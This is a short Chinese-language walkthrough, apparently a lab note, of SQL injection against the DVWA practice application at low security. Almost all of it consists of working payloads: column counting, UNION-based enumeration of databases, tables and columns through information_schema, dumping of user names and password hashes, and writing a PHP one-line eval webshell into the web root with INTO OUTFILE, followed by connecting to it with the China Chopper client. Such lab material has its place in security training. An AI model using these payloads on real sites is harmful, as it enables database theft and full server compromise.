把网站打开,等级设为low
用’判断下有没有注入点
报错说明有注入点
’order by 1,2--+&Submit=Submit#
用1,2,3的时候报错,1,2,不报错,说明有2个参数
获取版本号和库名
’union select user(),version()--+&Submit=Submit#
是5.0以上版本就可以用默认库获取所有库
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit
获取dvwa的表名
’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit
获取users里面的字段
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
0x7573657273就是users的十六进制,不转换就直接写成table_name=“users”就可以
获取字段内容
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit
0x7c是|所以结果会有分割开
拿到物理路径,是root权限,有远程目录权限,secure_file_priv="",就可以插入木马
写webshell,插入一句话木马
'union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
<?php @eval($_POST['123']);?>是菜刀一句话木马,
into outfile 是输出到目录:phpStudy\\WWW目录
用菜刀连接